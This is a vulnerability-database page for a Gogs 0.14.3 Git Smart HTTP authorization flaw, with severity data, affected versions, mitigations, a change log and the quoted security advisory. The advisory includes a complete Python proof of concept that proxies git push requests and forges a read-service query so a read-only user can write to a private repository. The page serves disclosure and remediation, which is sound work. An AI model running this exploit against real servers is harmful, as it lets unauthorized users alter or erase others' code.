Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion
Severity and exploitation
KEV coverage does not rule out exploitation.
Assessment vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:NAssessment vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:L/SA:NSeverity
high7.1CVSS measures technical severity, not the likelihood of an attack.
Known exploitation
Not listed in the checked CISA KEV catalog
Absence from CISA KEV does not rule out attacks.
Public exploit
Exploit reference published
Source-linked evidence; not proof of attacks in the wild or independent validation.
Remediation
Package fixes recorded
Fix versions are recorded for 1 of 1 mapped packages. Check each release branch and any separate product guidance.
What this means
Gogs version 0.14.3 allows users to write to read-only repositories using a receive-pack and service=git-upload-pack confusion. An attacker with read access can write to a repository.
Summarized by @cf/meta/llama-3.3-70b-instruct-fp8-fast. Verify details against the original sources.Attack conditions
No attack-condition excerpt has been identified here. Review the full source description and references for authentication, network access, and configuration requirements.
Review supporting sources →Affected versions
Check the exact model, release, and any platform requirements against your installation.
Gogs · mitre
Gogs
1 range
Gogs · mitre
Gogs
Package identity
pkg:golang/gogs.io/gogsExplore gogs.io/gogs →Identity supplied by mitre. Version matching requires compatible range evidence.
Compare with this publisher’s ranges. This does not inspect your installation.
affected
0.14.3
semver versions
Other versions: unknown
Packages
Compare each installed version with the publisher’s affected ranges. Where a fix is recorded, choose the appropriate release branch and test compatibility before upgrading.
| Affected range | Recorded fix |
|---|---|
| Earlier releases before 0.14.3Semantic versions | 0.14.3 |
| All releases from the beginning; no upper bound recordedVersions | Not recorded |
Version evidence: OSV · GHSA-wmfg-5p4h-5fw3OSV · GO-2026-5712
View original version evidence (0 explicit versions)
What to do
Compare your installed product and version with the affected versions above. A matching product name alone does not confirm exposure.
Use the recorded fix for your release branch. Review the publisher’s instructions and test compatibility before upgrading.
No patch available. Use case-insensitive comparison (strings.EqualFold) in gitHTTPIsPull in internal/route/repo/http.go
Disable Git Smart HTTP access (set DISABLE_HTTP_GIT = true in app.ini) and use SSH-only for Git operations
cve.new guidance unless attributed to a publisher. This page does not inspect your installation.
Public exploit evidence
The sources identify public exploit references. We have not independently tested them; their availability does not establish exploitation in the wild.
gogs/gogs · security/advisories/GHSA-wmfg-5p4h-5fw3 ↗Attributed to CISA-ADPOriginal source description
Read the full publisher description
Summary
Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed.
Details
Gogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: upload-pack for fetch (read) and receive-pack for push (write).
In the affected implementation, the code derives the access mode from the service query parameter (for example, service=git-upload-pack) instead of the actual RPC path being executed. As a result, a request sent to the receive-pack endpoint can be incorrectly treated as a read operation if the query parameter claims it is an upload-pack. This behavior enables a request to POST to the write endpoint (/repo.git/git-receive-pack) while including a query string that indicates a read service.
Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it.
One edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a AuthUser property becoming nil in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit.
The two situations in which this is vulnerable are:
- Attacker = collaborator with only Read rights & victim = owner of the repository
- Instance using
REQUIRE_SIGNIN_VIEW = true. Attacker = any signed in user & victim = any user with a public repository
PoC
- Create a Gogs instance (eg. http://localhost:3000) with 2 users:
victim&attacker - As the victim, create a new private repository and add the attacker as a Read collaborator:
<img width="1029" height="387" alt="image" src="https://github.com/user-attachments/assets/1f6b7f72-eaab-4970-bf65-221f1cebbbfa" />
- As the attacker, execute the following Python script (editing global vars as required):
from __future__ import annotations
import os
import shutil
import subprocess
import sys
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import quote, urlsplit, urlunsplit
import requests
REPO_URL = "http://localhost:3000/victim/target"
USERNAME = "attacker"
PASSWORD = "attacker"
class ProxyHandler(BaseHTTPRequestHandler):
upstream_scheme: str
upstream_netloc: str
log_rewrite: bool
def log_message(self, *_args) -> None:
return
def do_GET(self) -> None:
self._relay("GET")
def do_POST(self) -> None:
self._relay("POST")
def _relay(self, method: str) -> None:
raw = self.path
if raw.startswith("http://") or raw.startswith("https://"):
u = urlsplit(raw)
scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query
else:
u = urlsplit(raw)
scheme, netloc, path, query = (
self.upstream_scheme,
self.upstream_netloc,
u.path,
u.query,
)
q = query or ""
if path.endswith("/git-receive-pack") and "service=" not in q:
query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack"
if self.log_rewrite:
sys.stderr.write(
f"[poc] rewrite receive-pack -> {path}?{query}\n")
url = urlunsplit((scheme, netloc, path, query, ""))
length = self.headers.get("Content-Length")
body = self.rfile.read(int(length)) if length else None
skip = {
"host",
"connection",
"proxy-connection",
"content-length",
"transfer-encoding",
}
out_headers = {}
for k, v in self.headers.items():
if k.lower() in skip:
continue
out_headers[k] = v
out_headers["Host"] = netloc
try:
with requests.request(
method,
url,
data=body,
headers=out_headers,
timeout=600,
stream=True,
) as resp:
resp.raw.decode_content = False
data = resp.raw.read()
status = resp.status_code
headers = resp.headers
except requests.RequestException as exc:
self.send_error(502, f"upstream: {exc}")
return
hop_by_hop = {
"transfer-encoding",
"connection",
"content-encoding",
"proxy-authenticate",
"proxy-authorization",
"te",
"trailers",
"upgrade",
}
self.send_response(status)
for k, v in headers.items():
if k.lower() in hop_by_hop:
continue
self.send_header(k, v)
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
def _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -> None:
r = subprocess.run(["git", *args], cwd=cwd, env=env,
capture_output=True, text=True)
if r.returncode != 0:
sys.stderr.write(r.stdout or "")
sys.stderr.write(r.stderr or "")
raise SystemExit(r.returncode)
def main() -> None:
base = urlsplit(REPO_URL)
repo_path = f"{base.path.rstrip('/')}.git"
auth = f"{quote(USERNAME, safe='')}:{quote(PASSWORD, safe='')}@{base.netloc}"
remote = urlunsplit((base.scheme, auth, repo_path, "", ""))
ProxyHandler.upstream_scheme = base.scheme
ProxyHandler.upstream_netloc = base.netloc
ProxyHandler.log_rewrite = True
srv = HTTPServer(("127.0.0.1", 0), ProxyHandler)
port = srv.server_address[1]
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
tmp = tempfile.mkdtemp(prefix="gogs-git-poc-")
try:
_run_git(tmp, "init")
_run_git(tmp, "config", "user.email", "poc@example.invalid")
_run_git(tmp, "config", "user.name", "gogs git http poc")
with open(f"{tmp}/POC_VULN.txt", "w", encoding="utf-8") as f:
f.write(
"Created by local PoC: Git HTTP path is receive-pack while "
"authorization follows forged service=git-upload-pack.\n"
)
_run_git(tmp, "add", "POC_VULN.txt")
_run_git(tmp, "commit", "-m",
"poc: unauthorized push via service query confusion")
_run_git(tmp, "branch", "-M", "poc/git-http-confusion")
_run_git(tmp, "remote", "add", "origin", remote)
env = os.environ.copy()
proxy_url = f"http://127.0.0.1:{port}"
env["http_proxy"] = proxy_url
env["HTTP_PROXY"] = proxy_url
env["https_proxy"] = proxy_url
env["HTTPS_PROXY"] = proxy_url
push = subprocess.run(
["git", "push", "-u", "origin", "poc/git-http-confusion"],
cwd=tmp,
env=env,
capture_output=True,
text=True,
)
if push.returncode != 0:
sys.stderr.write(push.stdout or "")
sys.stderr.write(push.stderr or "")
sys.exit(push.returncode)
sys.stdout.write(push.stdout or "")
sys.stderr.write(
f"\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\n"
)
finally:
srv.shutdown()
shutil.rmtree(tmp, ignore_errors=True)
if __name__ == "__main__":
main()
- Reload the repo URL and notice the attacker successfully wrote to the read-only repo:
<img width="1038" height="398" alt="image" src="https://github.com/user-attachments/assets/4ada8b19-8cbd-40b0-a324-e93ed4d1c965" />
Impact
If you can read a repository, and an anonymous user cannot, you can write to it. This affects some cases where read-only collaborator access is given, but is most impactful in instances with REQUIRE_SIGNIN_VIEW = true configured, because then all repositories will be writable to any user.
Using force push this can also affect availability, as the original code in the main branch, for example, can be overridden without leaving history.
References
9 sourcesInside the record
Evidence available
Describes the evidence in this view, not whether the product is safe.
Original records
CVE-2026-123012View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.
cve.new JSON →Underlying weaknesses
The source’s classification of what caused the vulnerability.
Environment requirements
These conditions apply together as specified by the publisher. A matching product name alone does not establish exposure.
mitre · platform conditions
Any condition may hold
Vulnerable product
cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*From (inclusive): 0.14.3
Through (inclusive): 0.14.3
Applicability preview
[
{
"nodes": [
{
"operator": "OR",
"negate": false,
"cpeMatch": [
{
"vulnerable": true,
"criteria": "cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*",
"versionStartIncluding": "0.14.3",
"versionEndIncluding": "0.14.3"
}
]
}
]
}
]Contributing organizations · 2
Assigning organization
Additional data publisher
Timeline
All times UTCAdvisory published
Publication date supplied by the source.
Source updated
Latest modification date supplied by the source.
Last imported by cve.new
Latest catalog import, not the date we first saw this advisory.
What changed
Follow changes- CVE · CVE-2026-123012
Observed 2026-11-09T20:45:59.293Z · upstream updated 2026-11-09T20:36:57.237Z
Prioritization updated
before
[]
after
[ { "source": "CISA-ADP", "type": "SSVC", "role": "CISA Coordinator", "timestamp": "2026-11-09T20:36:30.158372Z", "decisions": [ { "name": "Exploitation", "value": "poc" }, { "name": "Automatable", "value": "no" }, { "name": "Technical Impact", "value": "partial" } ] } ] - CVE · CVE-2026-123012
Observed 2026-11-06T19:41:57.617Z · upstream updated 2026-11-06T18:03:53.415Z
Description revised
before
In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of inconsistency about whether a verb is checked in a case-sensitive manner.
after
In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.
References changed
before
[ "https://github.com/gogs/gogs/security/advisories/GHSA-wmfg-5p4h-5fw3", "https://github.com/gogs/gogs/blob/3ba8aca90e17e5410b7e8b227c9f29256ac3e875/internal/route/repo/http.go#L415-L418", "https://github.com/gogs/gogs/blob/3ba8aca90e17e5410b7e8b227c9f29256ac3e875/internal/route/repo/http.go#L64-L68" ]
after
[ "https://github.com/gogs/gogs/security/advisories/GHSA-wmfg-5p4h-5fw3", "https://github.com/gogs/gogs/blob/3ba8aca90e17e5410b7e8b227c9f29256ac3e875/internal/route/repo/http.go#L415-L418", "https://github.com/gogs/gogs/blob/3ba8aca90e17e5410b7e8b227c9f29256ac3e875/internal/route/repo/http.go#L64-L68", "https://humanoid.sh/blog/gogs-cve-2026-123012/" ]
Large field values are marked as truncated previews. Original source snapshots remain retained.
Showing up to 50 most recent observed changes.